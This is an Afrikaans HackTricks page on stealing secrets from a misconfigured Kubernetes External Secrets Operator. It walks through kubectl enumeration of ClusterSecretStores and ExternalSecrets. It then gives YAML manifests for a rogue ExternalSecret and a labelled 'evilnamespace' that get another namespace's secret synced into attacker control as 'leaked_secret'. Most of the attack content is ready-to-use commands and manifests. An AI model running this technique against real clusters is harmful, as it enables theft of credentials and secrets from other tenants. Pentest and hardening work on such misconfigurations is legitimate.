# External Secret Operator

{{#include ../../banners/hacktricks-training.md}}

**Die oorspronklike skrywer van hierdie bladsy is** [**Fares**](https://www.linkedin.com/in/fares-siala/)

Hierdie bladsy gee 'n paar riglyne oor hoe jy kan slaag om geheime te steel van 'n verkeerd geconfigureerde ESO of toepassing wat ESO gebruik om sy geheime te sinkroniseer.

## Disclaimer

Die tegniek hieronder kan slegs werk wanneer sekere omstandighede nagekom word. Byvoorbeeld, dit hang af van die vereistes wat nodig is om 'n geheim op 'n naamruimte wat jy besit / gecompromitteer het, te laat sinkroniseer. Jy moet dit self uitfigure.

## Vereistes

1. 'n Voet in 'n kubernetes / openshift-kluster met administratiewe regte op 'n naamruimte
2. Lees toegang op ten minste ExternalSecret op kluster vlak
3. Figurer uit of daar enige vereiste etikette / annotasies of groepslidmaatskap nodig is wat toelaat dat ESO jou geheim sinkroniseer. As jy gelukkig is, kan jy enige gedefinieerde geheim vryelik steel.

### Inligting oor bestaande ClusterSecretStore versamel

Aneem dat jy 'n gebruiker het wat genoeg regte het om hierdie hulpbron te lees; begin eers deur bestaande _**ClusterSecretStores**_ op te lys.
```sh
kubectl get ClusterSecretStore
```
### ExternalSecret enumerasie

Kom ons veronderstel jy het 'n ClusterSecretStore gevind met die naam _**mystore**_. Gaan voort deur sy geassosieerde externalsecret te enumerate.
```sh
kubectl get externalsecret -A | grep mystore
```
_Hierdie hulpbron is naamruimte-geskepte, so tensy jy reeds weet watter naamruimte om te soek, voeg die -A opsie by om oor alle naamruimtes te kyk._

Jy behoort 'n lys van gedefinieerde externalsecret te kry. Kom ons neem aan jy het 'n externalsecret objek genaamd _**mysecret**_ gevind wat gedefinieer en gebruik word deur naamruimte _**mynamespace**_. Versamel 'n bietjie meer inligting oor watter soort geheim dit hou.
```sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
```
### Die samestelling van die stukke

Van hier af kan jy die naam van een of meer geheime name verkry (soos gedefinieer in die Secret hulpbron). Jy sal 'n uitvoer kry wat soortgelyk is aan:
```yaml
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
```
Tot dusver het ons:

- Noem 'n ClusterSecretStore
- Naam van 'n ExternalSecret
- Naam van die geheim

Nou dat ons alles het wat ons nodig het, kan jy 'n ExternalSecret skep (en uiteindelik 'n nuwe Namespace patch/skep om te voldoen aan die vereistes wat nodig is om jou nuwe geheim gesinkroniseer te kry):
```yaml
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
```

```yaml
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
```
Na 'n paar minute, as die sink toestande nagekom is, behoort jy die gelekte geheim binne jou naamruimte te kan sien.
```sh
kubectl get secret leaked_secret -o yaml
```
## Verwysings

{{#ref}}
https://external-secrets.io/latest/
{{#endref}}

{{#ref}}
https://github.com/external-secrets/external-secrets
{{#endref}}



{{#include ../../banners/hacktricks-training.md}}
